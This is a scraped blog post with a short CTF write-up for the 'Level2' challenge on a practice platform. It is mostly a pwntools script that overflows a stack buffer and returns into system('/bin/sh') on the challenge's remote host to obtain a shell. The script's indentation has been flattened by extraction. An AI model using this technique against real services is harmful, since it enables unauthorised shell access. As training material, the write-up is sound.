当前位置:网站首页>PWN attack and defense world level2
PWN attack and defense world level2
2022-06-29 02:38:00 【Day-3】

First , Let's go through the standard process .
Run it .
Put in IDA in .


To write exp:
from pwn import *
context(os='Linux',arch="x86",log_level="debug")
content = 0
elf = ELF("Level2")
system_plt_addr = elf.plt["system"]
bin_sh_addr = next(elf.search(b"/bin/sh"))
def main():
if content == 1:
day3 = process("Level2")
else:
day3 =remote("111.200.241.244",56811)
payload = b'a' * (0x88 + 4) + p32(system_plt_addr)
payload = payload + b'aaaa' + p32(bin_sh_addr)
day3.sendlineafter("Input:\n",payload)
day3.interactive()
main()


get Flag.
边栏推荐
- Is it safe to contact the account manager online to open an account for stock speculation?
- apache不解析PHP文件,直接显示源码
- There is a time delay for the click event on the mobile terminal. What is the delay time? How to solve it?
- PHP XML expat parser
- Calculate rectangular area
- 字符串长度
- Understanding and design of high concurrency
- Set set
- 2022.02.15
- Cross border information station
猜你喜欢

Talk about the copyonwritearraylist of JUC

Use code binding DataGridView control to display tables in program interface

LabVIEW generate application (exe) and installer

Relations EMC, EMI, EMS

thinkphp5.1 runtime文件改成777权限了, 还是无法写入

Regular expression (?: pattern)

leetcode 统计放置房子的方式数

Koa 快速入門

Oracle Recovery Tools实战批量坏块修复

安装kibana
随机推荐
Target detection - ADAS practice
Is it safe to contact the account manager online to open an account for stock speculation?
微信小程序自定义组件
e. Difference between target and e.currenttarget
线程池是什么老鸡?
Eight difficulties of embedded C language
Deploy redis high availability cluster
Programmers whose monthly salary is less than 30K must recite the interview stereotype. I'll eat it first
They all talk about interviews with big factories. When I interview with small factories, I invite people to drink tea?
Koa quick start
瀑布型项目管理最常用的10个小工具,可以自由搭建使用
Ctfhub web SQL injection - integer injection
LabVIEW generate application (exe) and installer
PHP的exec函数
Today's sleep quality record 82 points
Install kibana
Table implements alternative adaptation through pseudo classes
Troubleshooting of pyinstaller failed to pack pikepdf
PMP项目管理概述
Use photoshop2022 to create a wonderful gradient effect for pictures